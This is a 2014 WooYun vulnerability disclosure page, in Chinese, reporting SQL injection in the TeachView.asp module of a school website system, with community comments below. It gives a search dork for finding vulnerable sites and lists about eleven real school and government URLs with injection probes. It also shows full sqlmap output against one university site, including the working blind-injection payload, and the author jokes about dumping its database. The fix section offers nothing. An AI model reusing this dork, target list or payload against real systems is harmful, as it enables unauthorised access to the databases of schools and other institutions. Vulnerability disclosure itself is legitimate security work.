当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065350

漏洞标题:某通用学校系统SQL注入漏洞之一(影响众多edu)

相关厂商:Cncert国家互联网应急中心

漏洞作者: 泳少

提交时间:2014-06-18 11:30

修复时间:2014-08-02 11:32

公开时间:2014-08-02 11:32

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-18: 细节已通知厂商并且等待厂商处理中
2014-06-23: 厂商已经确认,细节仅向厂商公开
2014-06-26: 细节向第三方安全合作伙伴开放
2014-08-17: 细节向核心白帽子及相关领域专家公开
2014-08-27: 细节向普通白帽子公开
2014-09-06: 细节向实习白帽子公开
2014-08-02: 细节向公众公开

简要描述:

RT。大家好。。。我是小白。。求各种带

详细说明:

关键字:inurl:TeachView.asp


t01e7a0f0062dde41d1.png

百度关键字是这么多的。。
还有谷歌

http://74.125.227.77/search?q=inurl:TeachView.asp&newwindow=1&ei=lwWhU5ylCZCeyAS96oGgBw&start=20&sa=N&biw=1024&bih=615


然后随便找一个网站。
如下

http://lmk.xhqedu.gov.cn/TeachView.asp?id=20%27
http://www.nczxx.org/TeachView.asp?id=31%27
http://xszy.pdsu.edu.cn/zsx/TeachView.asp?id=59%27
http://www.pjlbsyxx.com/TeachView.asp?id=22%27
http://www.aybfjz.com/TeachView.asp?id=12%27
http://www.scshlx.com/TeachView.asp?id=21%27
http://www.zsguyi.net/TeachView.asp?id=15%27
http://www.nbyale.com/teachview.asp?id=36%27
http://www.pjlbsyxx.com/TeachView.asp?id=26%27
http://www.hzdfxx.com.cn/teachview.asp?id=24%27
http://www.gtxy.cn/xsc/sgzx/TeachView.asp?id=22%27


大都出错。。

1.png


然后我就随便找了一个网站利用sqlmap跑了下裤子。。

[root@Hacker~]# Sqlmap sqlmap -u "http://xszy.pdsu.edu.cn/zsx/TeachView.asp?id=5
9" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:24:22
[14:24:22] [INFO] testing connection to the target url
[14:24:23] [INFO] testing if the url is stable, wait a few seconds
[14:24:24] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[14:24:24] [INFO] testing if GET parameter 'id' is dynamic
[14:24:25] [INFO] confirming that GET parameter 'id' is dynamic
[14:24:25] [WARNING] GET parameter 'id' appears to be not dynamic
[14:24:25] [INFO] heuristics detected web page charset 'GB2312'
[14:24:25] [WARNING] reflective value(s) found and filtering out
[14:24:25] [INFO] heuristic test shows that GET parameter 'id' might be injectab
le (possible DBMS: Microsoft Access)
[14:24:25] [INFO] testing for SQL injection on GET parameter 'id'
[14:24:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:24:27] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n]
[14:24:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:24:29] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[14:24:34] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 30 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=59 AND 2677=2677
---
[14:24:39] [INFO] testing Microsoft Access
[14:24:39] [INFO] confirming Microsoft Access
[14:24:40] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[14:24:40] [WARNING] on Microsoft Access it is not possible to enumerate the cur
rent user
current user: None
[14:24:40] [WARNING] on Microsoft Access it is not possible to get name of the c
urrent database
current database: None
[14:24:40] [WARNING] on Microsoft Access it is not possible to enumerate databas
es
[14:24:40] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 30 times
[14:24:40] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:24:40] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\xszy.pdsu.edu.cn'
[*] shutting down at 14:24:40

漏洞证明:

貌似脱裤子的节奏啊

修复方案:

你懂的

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-06-23 08:26

厂商回复:

cnvd确认并复现所述多个实例情况,确认通用性,已经由cnvd通过公开联系渠道向软件生产厂商校无忧网络科技公司通报,电话至0564 ,将通报发送至 (鲁先生)邮箱中处置

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-18 11:39 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    给力!

  2. 2014-06-18 11:54 | 光刃 ( 普通白帽子 | Rank:200 漏洞数:24 | 萝卜白菜保平安)

    这不是泳少大牛吗

  3. 2014-06-18 11:56 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    少爷,您发力了吖

  4. 2014-06-18 11:59 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @浩天 这不是浩天叔与 @光刃两个大神赐予我力量吗?

  5. 2014-06-18 12:01 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    biubiubiu

  6. 2014-06-18 12:07 | admin1993 ( 普通白帽子 | Rank:110 漏洞数:39 | 0101001010010100101001010010100101001010...)

    这不是泳少大牛吗

  7. 2014-06-18 12:18 | 07@jyhack.com ( 路人 | Rank:14 漏洞数:10 | 希望和大家多多交流,多多沟通、)

    这不是泳少大牛吗

  8. 2014-06-18 12:40 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    这就是泳少大牛

  9. 2014-06-18 13:29 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @疯狗 标题好像有点逻辑错误。

  10. 2014-06-18 20:55 | 冷少 ( 路人 | Rank:14 漏洞数:4 | 专注网络安全,广交各地盆友~)

    这不是泳少大牛么

  11. 2014-06-18 21:39 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @冷少 这不是冷少大大大牛么

  12. 2014-06-18 23:54 | 冷少 ( 路人 | Rank:14 漏洞数:4 | 专注网络安全,广交各地盆友~)

    咱路人……楼上白帽子

  13. 2014-06-19 08:04 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @冷少 有个实习

  14. 2014-06-21 12:23 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @cncert国家互联网应急中心 求确认

  15. 2014-06-27 22:55 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)

    坐等公开

  16. 2014-07-14 21:52 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @泳少 你发的通用好像都没钱啊

  17. 2014-07-14 21:53 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @贫道来自河北 - -还没发下来OK?

  18. 2014-07-14 22:03 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @泳少 不是20天就发吗,这个是先定价后发钱的吗

  19. 2014-07-14 22:52 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @贫道来自河北 你去多了360库带计划了吗?这是乌云好吧?